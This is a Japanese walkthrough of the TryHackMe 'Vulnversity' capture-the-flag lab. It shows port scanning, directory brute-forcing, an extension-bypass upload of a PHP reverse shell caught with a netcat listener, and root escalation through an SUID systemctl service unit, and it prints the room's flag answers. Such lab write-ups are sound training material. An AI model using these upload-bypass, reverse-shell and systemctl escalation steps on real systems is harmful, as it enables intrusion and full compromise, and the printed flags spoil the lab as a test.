概要
TryHackMe「Vulnversity」ルームのwalkthroughです。
Task2
まず、nmapでポートスキャンを実行します。
$ nmap -sC -A -Pn -T4 -p- 10.10.200.181 -oN nmap_result
結果
# Nmap 7.94SVN scan initiated Tue May 7 04:32:12 2024 as: nmap -sC -A -Pn -T4 -p- -oN nmap_result 10.10.200.181
Nmap scan report for 10.10.200.181
Host is up (0.24s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)
| 256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)
|_ 256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Vuln University
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: mean: 1h20m00s, deviation: 2h18m35s, median: 0s
| smb2-time:
| date: 2024-05-07T09:02:33
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: vulnuniversity
| NetBIOS computer name: VULNUNIVERSITY\x00
| Domain name: \x00
| FQDN: vulnuniversity
|_ System time: 2024-05-07T05:02:32-04:00
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 7 05:02:43 2024 -- 1 IP address (1 host up) scanned in 1830.95 seconds
Q2.Scan the box; how many ports are open?
ポートスキャンの結果から、21,22,139,445,3128,3333の6つのポートがオープンになっていることがわかります。
A.6
Q3.What version of the squid proxy is running on the machine?
3128ポートでSquid http proxy 3.5.12サービスの確認できます。
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
A.3.5.12
Q4.How many ports will Nmap scan if the flag -p-400 was used?
-p-400オプションを使用すると397個のTCPポートがクローズしており、21,22,139のポートがオープンになっていることがわかります。
合計400個のポートをスキャンできました。
$ nmap -Pn -p-400 10.10.200.181
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-07 05:07 EDT
Nmap scan report for 10.10.200.181
Host is up (0.24s latency).
Not shown: 397 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
Nmap done: 1 IP address (1 host up) scanned in 20.43 seconds
A.400
Q5.What is the most likely operating system this machine is running?
Hint.Run nmap with the -O flag
サービスの詳細情報などから対象マシンはUbuntu上で動作していることがわかります。
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)
| 256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)
|_ 256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Vuln University
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
A.ubuntu
今回は-Aオプションを使用しサービスの詳細情報やOS情報を得られましたが、OSの情報をピンポイントで得たい場合には、ヒントにもあるように-Oオプションを使用することができます。
Q6.What port is the web server running on?
対象マシンでは3333ポートでApacheが動作していることがわかります。
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Vuln University
A.3333
Q8.What is the flag for enabling verbose mode using Nmap?
A.-v
Task3
ポートスキャンの結果から3333ポートでのWebサービスを確認できました。
Task3ではWebサービスのディレクトリ探索を行います。
Q2.What is the directory that has an upload form page?
gobusterを使い、Webサービスのパスを発見します。
今回、ワードリストは/usr/share/wordlists/dirbuster/directory-list-1.0.txtを使用しました。
$ gobuster dir -u http://10.10.200.181:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
結果
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.200.181:3333
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 322] [--> http://10.10.200.181:3333/images/]
/css (Status: 301) [Size: 319] [--> http://10.10.200.181:3333/css/]
/js (Status: 301) [Size: 318] [--> http://10.10.200.181:3333/js/]
/internal (Status: 301) [Size: 324] [--> http://10.10.200.181:3333/internal/]
Progress: 141708 / 141709 (100.00%)
===============================================================
Finished
===============================================================
/internalという怪しいパスがあったのでアクセスしてみると、求めていたファイルアップロードページであった。
A./internal
ワードリストに関しては/usr/share/wordlist配下のファイルやseclistsなど適切なものを利用してください。
Task4
Q1.What common file type you'd want to upload to exploit the server is blocked? Try a couple to find out.
Web系なのでPHPかなと推測で回答したら合ってました。
A..php
Q3.Run this attack, what extension is allowed?
まずはファイルアップロードのリクエストをBurpでキャッチし、intruderへセットします。
試しにtest.phpという空のファイルをアップロードしました。
filenameにアップロードするファイル名が入るようです。
ブルートフォースで許可されている拡張子を特定します。
ワードリストにseclistsのextensions-most-common.fuzz.txtを使用します。
seclistsが未インストールの場合は、インストールします。
$ sudo apt install seclists
extensions-most-common.fuzz.txtには一般的なファイル拡張子リストが保存されています。
$ cat /usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt
asp
aspx
php
php3
php4
php5
txt
shtm
shtml
phtm
phtml
jhtml
(省略)
リクエストの拡張子部分を§で囲みます。
Payloadsタブに移動しPayload settingsのLoadボタンから/usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txtを読み込みます。
そして、右上のStart attackボタンを押して攻撃を開始します。
拡張子が許可されていないリクエストのレスポンスは一定のデータ量でExtension not allowedという文字列が確認できます。
一方で、phtml拡張子は特異的なレスポンスデータ量でSuccessという文字列が確認できます。
許可されている拡張子はphtmlのようです。
A..phtml
次にリバースシェルを行うペイロードファイルを用意します。
使用するのは/usr/share/webshells/php/php-reverse-shell.phpです。
/usr/share/webshells/php/php-reverse-shell.phpはkali 2023にデフォルトで用意されているPHPのリバースシェルペイロードです。
作業ディレクトリにペイロードファイルをコピーします。
$ cp /usr/share/webshells/php/php-reverse-shell.php ./
ファイルの中身を自身の環境に合わせて編集します。
変更するのは$ipと$port変数の値です。
$ipはopenvpnで使用しているIPアドレスに、$portはリッスンするポート番号に変更してください。
編集後、ペイロードファイルの拡張子を許可されているphtmlに変更してアップロードできるようにします。
$ mv ./php-reverse-shell.php ./php-reverse-shell.phtml
そして/internalページからペイロードファイルをアップロードします。
アップロードされたファイルを開く前にnetcatでリバースシェルの待ち受けをします。
$ nc -lvnp 1234
netcatのリッスンするポート番号はペイロードファイルの$portの値と一致させる必要があります。
アップロード後、/internal/uploadsページに移動すると先ほどアップロードしたペイロードファイルが確認できるのでダブルクリックしペイロードを起動します。
すると対処マシンのシェルが獲得できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.200.181] 50834
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
07:06:06 up 3:13, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Q5.What is the name of the user who manages the webserver?
billというアカウントが確認できました。
$ ls -l /home
total 4
drwxr-xr-x 2 bill bill 4096 Jul 31 2019 bill
A.bill
Q6.What is the user flag?
Hint.The contents of the file /home/bill/user.txt
ヒントにもあるようにユーザーフラグファイルは/home/bill/user.txtにありました。
ファイルの中身を確認してフラグゲットです。
$ ls -l /home/bill
total 4
-rw-r--r-- 1 bill bill 33 Jul 31 2019 user.txt
$ cat /home/bill/user.txt
8bd7992fbe8a6ad22a63361004cfcedb
A.8bd7992fbe8a6ad22a63361004cfcedb
Task5
ここからは権限昇格を行います。
Q1.On the system, search for all SUID files. Which file stands out?
Hint.Use the command: find / -user root -perm -4000 -exec ls -ldb {} ;
SUIDビットが設定されたサービスを検索します。
$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/squid/pinger
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/ping6
/bin/umount
/bin/systemctl
/bin/ping
/bin/fusermount
/sbin/mount.cifs
SUIDが設定されたサービスの検索手法についての記事を書いたので合わせてご覧ください。
SUIDビットが設定されたファイルの検索方法
/bin/systemctlには通常、SUIDがセットされていないそうなのですが、セットされているのが怪しいみたいですね。
A./bin/systemctl
Q2.It's challenge time! We have guided you through this far. Can you exploit this system further to escalate your privileges and get the final answer? Become root and get the last flag (/root/root.txt)
Hint./bin/systemctl
/bin/systemctlを使用した権限昇格についての記事を投稿したので併せてご覧ください。
systemctlを利用した権限昇格
$ TF=$(mktemp).service
$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
> [Install]
> WantedBy=multi-user.target' > $TF
$ systemctl link $TF
Created symlink from /etc/systemd/system/tmp.no1Z6GItfQ.service to /tmp/tmp.no1Z6GItfQ.service.
$ systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.no1Z6GItfQ.service to /tmp/tmp.no1Z6GItfQ.service.
フラグファイルは/root/root.txtにあるらしいので適宜編集して実行します。
上記ペイロードを実行後、/tmp/outputファイルの中身を確認しルートフラグゲットです。
$ cat /tmp/output
a58ff8579f0a9270368d33a9966c7fd5
A.a58ff8579f0a9270368d33a9966c7fd5









